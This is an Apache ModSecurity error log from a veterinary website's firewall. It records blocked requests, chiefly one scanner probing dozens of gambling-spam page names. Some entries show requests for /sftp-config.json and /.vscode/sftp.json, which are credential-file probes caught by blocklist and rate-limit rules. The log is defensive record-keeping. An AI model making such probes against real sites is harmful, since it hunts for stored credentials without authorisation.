[Fri Mar 27 01:26:07.713536 2026] [:error] [pid 44058:tid 44060] [client 49.235.136.28:48476] [client 49.235.136.28] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "acVsL-qp9u5CVRGdZPH3nAAAAIA"]
[Fri Mar 27 01:37:22.799584 2026] [:error] [pid 62148:tid 62498] [client 43.153.76.247:42428] [client 43.153.76.247] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "acVu0oduik-mTruBKFVvlgAAAEE"]
[Fri Mar 27 01:40:23.119710 2026] [:error] [pid 44058:tid 44066] [client 185.169.4.152:54056] [client 185.169.4.152] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/sftp-config.json"] [unique_id "acVvh-qp9u5CVRGdZPEA1QAAAIY"]
[Fri Mar 27 01:40:23.836209 2026] [:error] [pid 44058:tid 44062] [client 185.169.4.152:57723] [client 185.169.4.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.vscode/sftp.json"] [unique_id "acVvh-qp9u5CVRGdZPEA2QAAAII"]
[Fri Mar 27 02:04:36.471036 2026] [:error] [pid 44058:tid 44073] [client 65.108.2.171:24442] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "acV1NOqp9u5CVRGdZPEP8QAAAI0"]
[Fri Mar 27 02:04:39.197526 2026] [:error] [pid 62147:tid 62463] [client 65.108.2.171:24450] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "acV1NxPjxn06mcLazN6K4QAAAAM"]
[Fri Mar 27 02:04:41.830920 2026] [:error] [pid 44058:tid 44064] [client 65.108.2.171:24464] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "acV1Oeqp9u5CVRGdZPEQAAAAAIQ"]
[Fri Mar 27 02:04:44.604914 2026] [:error] [pid 44058:tid 44063] [client 65.108.2.171:24480] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20168.aspx"] [unique_id "acV1POqp9u5CVRGdZPEQCgAAAIM"]
[Fri Mar 27 02:04:47.016802 2026] [:error] [pid 44058:tid 44081] [client 65.108.2.171:62240] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20auto.aspx"] [unique_id "acV1P-qp9u5CVRGdZPEQFwAAAJU"]
[Fri Mar 27 02:04:49.523679 2026] [:error] [pid 44058:tid 44078] [client 65.108.2.171:62254] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "acV1Qeqp9u5CVRGdZPEQIQAAAJI"]
[Fri Mar 27 02:04:52.227528 2026] [:error] [pid 62149:tid 62547] [client 65.108.2.171:62286] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "acV1RGHvvta9MPqU8PVsTwAAARc"]
[Fri Mar 27 02:04:54.907800 2026] [:error] [pid 62149:tid 62545] [client 65.108.2.171:5062] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "acV1RmHvvta9MPqU8PVsVAAAARU"]
[Fri Mar 27 02:04:57.414652 2026] [:error] [pid 62148:tid 62509] [client 65.108.2.171:5064] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "acV1SYduik-mTruBKFV1RgAAAEw"]
[Fri Mar 27 02:05:04.879404 2026] [:error] [pid 62551:tid 62569] [client 65.108.2.171:46286] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "acV1UIQvFHgfE1g4p7CZ8wAAAc8"]
[Fri Mar 27 02:05:07.414974 2026] [:error] [pid 62149:tid 62528] [client 65.108.2.171:46294] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "acV1U2Hvvta9MPqU8PVsYAAAAQQ"]
[Fri Mar 27 02:05:10.271031 2026] [:error] [pid 44058:tid 44079] [client 65.108.2.171:46306] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "acV1Vuqp9u5CVRGdZPEQXgAAAJM"]
[Fri Mar 27 02:05:12.764064 2026] [:error] [pid 62149:tid 62546] [client 65.108.2.171:46318] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "acV1WGHvvta9MPqU8PVsYgAAARY"]
[Fri Mar 27 02:05:15.484376 2026] [:error] [pid 62148:tid 62518] [client 65.108.2.171:4014] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "acV1W4duik-mTruBKFV1XAAAAFU"]
[Fri Mar 27 02:05:18.130997 2026] [:error] [pid 44058:tid 44061] [client 65.108.2.171:4028] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "acV1Xuqp9u5CVRGdZPEQcQAAAIE"]
[Fri Mar 27 02:05:20.658944 2026] [:error] [pid 62149:tid 62548] [client 65.108.2.171:4042] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "acV1YGHvvta9MPqU8PVsbAAAARg"]
[Fri Mar 27 02:05:23.235608 2026] [:error] [pid 62551:tid 62574] [client 65.108.2.171:4058] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "acV1Y4QvFHgfE1g4p7CaEQAAAdQ"]
[Fri Mar 27 02:05:25.793010 2026] [:error] [pid 62147:tid 62482] [client 65.108.2.171:40878] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "acV1ZRPjxn06mcLazN6LEwAAABY"]
[Fri Mar 27 02:05:28.474905 2026] [:error] [pid 62147:tid 62468] [client 65.108.2.171:40894] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "acV1aBPjxn06mcLazN6LHgAAAAg"]
[Fri Mar 27 02:05:30.966820 2026] [:error] [pid 62149:tid 62546] [client 65.108.2.171:40908] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "acV1amHvvta9MPqU8PVsegAAARY"]
[Fri Mar 27 02:06:29.174837 2026] [:error] [pid 62147:tid 62466] [client 65.108.2.171:56870] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "acV1pRPjxn06mcLazN6LfQAAAAY"]
[Fri Mar 27 02:06:31.722625 2026] [:error] [pid 62148:tid 62520] [client 65.108.2.171:56884] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "acV1p4duik-mTruBKFV1mgAAAFc"]
[Fri Mar 27 02:06:34.304068 2026] [:error] [pid 62148:tid 62498] [client 65.108.2.171:56900] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "acV1qoduik-mTruBKFV1nQAAAEE"]
[Fri Mar 27 02:06:41.472104 2026] [:error] [pid 62147:tid 62469] [client 65.108.2.171:36182] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "acV1sRPjxn06mcLazN6LlgAAAAk"]
[Fri Mar 27 02:06:44.095743 2026] [:error] [pid 62551:tid 62575] [client 65.108.2.171:36206] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "acV1tIQvFHgfE1g4p7CaYgAAAdU"]
[Fri Mar 27 02:06:46.575398 2026] [:error] [pid 44058:tid 44065] [client 65.108.2.171:12354] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "acV1tuqp9u5CVRGdZPERbwAAAIU"]
[Fri Mar 27 02:06:49.286808 2026] [:error] [pid 62551:tid 62566] [client 65.108.2.171:12356] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "acV1uYQvFHgfE1g4p7CaZQAAAcw"]
[Fri Mar 27 02:06:51.915388 2026] [:error] [pid 62147:tid 62464] [client 65.108.2.171:12364] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "acV1uxPjxn06mcLazN6LpQAAAAQ"]
[Fri Mar 27 02:06:54.440501 2026] [:error] [pid 62149:tid 62536] [client 65.108.2.171:12380] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "acV1vmHvvta9MPqU8PVsxQAAAQw"]
[Fri Mar 27 02:06:57.079032 2026] [:error] [pid 44058:tid 44077] [client 65.108.2.171:36704] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "acV1weqp9u5CVRGdZPERiQAAAJE"]
[Fri Mar 27 02:06:59.540033 2026] [:error] [pid 44058:tid 44061] [client 65.108.2.171:36712] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "acV1w-qp9u5CVRGdZPERqgAAAIE"]
[Fri Mar 27 02:07:02.030821 2026] [:error] [pid 44058:tid 44062] [client 65.108.2.171:36720] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "acV1xuqp9u5CVRGdZPERzwAAAII"]
[Fri Mar 27 02:07:04.792052 2026] [:error] [pid 62149:tid 62542] [client 65.108.2.171:36728] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "acV1yGHvvta9MPqU8PVs5AAAARI"]
[Fri Mar 27 02:07:07.402839 2026] [:error] [pid 44058:tid 44079] [client 65.108.2.171:64794] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "acV1y-qp9u5CVRGdZPER4QAAAJM"]
[Fri Mar 27 02:07:10.050062 2026] [:error] [pid 44058:tid 44079] [client 65.108.2.171:64798] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "acV1zuqp9u5CVRGdZPER6QAAAJM"]
[Fri Mar 27 02:07:12.636024 2026] [:error] [pid 44058:tid 44063] [client 65.108.2.171:64806] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "acV10Oqp9u5CVRGdZPER-gAAAIM"]
[Fri Mar 27 02:07:15.145450 2026] [:error] [pid 44058:tid 44071] [client 65.108.2.171:52232] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "acV10-qp9u5CVRGdZPESBwAAAIs"]
[Fri Mar 27 02:07:17.672035 2026] [:error] [pid 62147:tid 62476] [client 65.108.2.171:52234] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "acV11RPjxn06mcLazN6LxAAAABA"]
[Fri Mar 27 02:07:20.267087 2026] [:error] [pid 62147:tid 62468] [client 65.108.2.171:52242] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "acV12BPjxn06mcLazN6LywAAAAg"]
[Fri Mar 27 02:07:22.863710 2026] [:error] [pid 44058:tid 44074] [client 65.108.2.171:52258] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "acV12uqp9u5CVRGdZPESKQAAAI4"]
[Fri Mar 27 02:08:20.527789 2026] [:error] [pid 44058:tid 44083] [client 65.108.2.171:10908] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "acV2FOqp9u5CVRGdZPETOQAAAJc"]
[Fri Mar 27 02:08:23.067011 2026] [:error] [pid 62149:tid 62537] [client 65.108.2.171:10914] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "acV2F2Hvvta9MPqU8PVtLgAAAQ0"]
[Fri Mar 27 02:08:25.735131 2026] [:error] [pid 44058:tid 44072] [client 65.108.2.171:21076] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "acV2Geqp9u5CVRGdZPETSAAAAIw"]
[Fri Mar 27 02:08:28.340354 2026] [:error] [pid 62551:tid 62576] [client 65.108.2.171:21080] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "acV2HIQvFHgfE1g4p7CbAAAAAdY"]
[Fri Mar 27 02:08:31.118981 2026] [:error] [pid 62551:tid 62566] [client 65.108.2.171:21090] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "acV2H4QvFHgfE1g4p7CbBgAAAcw"]
[Fri Mar 27 02:08:33.647804 2026] [:error] [pid 44058:tid 44082] [client 65.108.2.171:21102] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "acV2Ieqp9u5CVRGdZPETaQAAAJY"]
[Fri Mar 27 02:08:36.274263 2026] [:error] [pid 62147:tid 62481] [client 65.108.2.171:8724] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "acV2JBPjxn06mcLazN6MjgAAABU"]
[Fri Mar 27 02:08:38.878573 2026] [:error] [pid 62551:tid 62555] [client 65.108.2.171:8738] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "acV2JoQvFHgfE1g4p7CbEgAAAcE"]
[Fri Mar 27 02:08:41.369684 2026] [:error] [pid 62147:tid 62477] [client 65.108.2.171:8752] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "acV2KRPjxn06mcLazN6MlgAAABE"]
[Fri Mar 27 02:08:44.211125 2026] [:error] [pid 44058:tid 44076] [client 65.108.2.171:8766] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "acV2LOqp9u5CVRGdZPETgQAAAJA"]
